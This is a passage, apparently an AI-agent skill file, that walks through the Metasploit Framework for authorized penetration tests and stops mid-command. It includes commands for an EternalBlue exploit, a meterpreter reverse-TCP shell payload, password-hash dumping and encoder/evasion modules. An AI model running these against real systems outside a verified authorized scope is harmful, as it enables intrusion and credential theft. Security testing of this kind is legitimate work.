| name | metasploit-framework |
| description | ⚠️ AUTHORIZED USE ONLY > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. |
| category | Security & Systems |
| source | antigravity |
| tags | ["python","api","ai","workflow","template","document","security","vulnerability","rag"] |
| url | https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/metasploit-framework |
Metasploit Framework
⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
Prerequisites
Required Tools
msfconsole --version
Installation varies by operating system and package source. Follow your platform's documented package-manager or vendor installation process before using this skill. Do not rely on an unpinned remote installer script from inside this skill.
If you want database-backed features such as workspace tracking, initialize msfdb using the instructions for your local installation. This skill assumes Metasploit is already available and does not require sudo, systemctl, or other privileged host-level setup steps.
Required Knowledge
- Network and system fundamentals
- Understanding of vulnerabilities and exploits
- Basic programming concepts
- Target enumeration techniques
Required Access
- Written authorization for testing
- Network access to target systems
- Understanding of scope and rules of engagement
Before running exploit modules, ask the user to confirm the exact target host, scope, and authorization state.
Outputs and Deliverables
- Exploitation Evidence - Screenshots and logs of successful compromises
- Session Logs - Command history and extracted data
- Vulnerability Mapping - Exploited vulnerabilities with CVE references
- Post-Exploitation Artifacts - Credentials, files, and system information
Core Workflow
Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
msfconsole
msfconsole -q
msf6 > help
msf6 > search [term]
msf6 > use [module]
msf6 > info
msf6 > show options
msf6 > set [OPTION] [value]
msf6 > run / exploit
msf6 > back
msf6 > exit
Phase 2: Module Types
Understand the different module categories:
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > show post
msf6 > use post/windows/gather/hashdump
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
msf6 > show nops
msf6 > show evasion
Phase 3: Searching for Modules
Find appropriate modules for targets:
msf6 > search eternalblue
msf6 > search cve:2017-0144
msf6 > search platform:windows type:exploit
msf6 > search type:auxiliary smb
msf6 > search rank:excellent
msf6 > search type:exploit platform:linux apache
Phase 4: Configuring Exploits
Set up an exploit for execution:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(...) > set RHOSTS 192.168.1.100
msf6 exploit(...) > set RPORT 445
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > show options
msf6 exploit(...) > check
msf6 exploit(...) > exploit
msf6 exp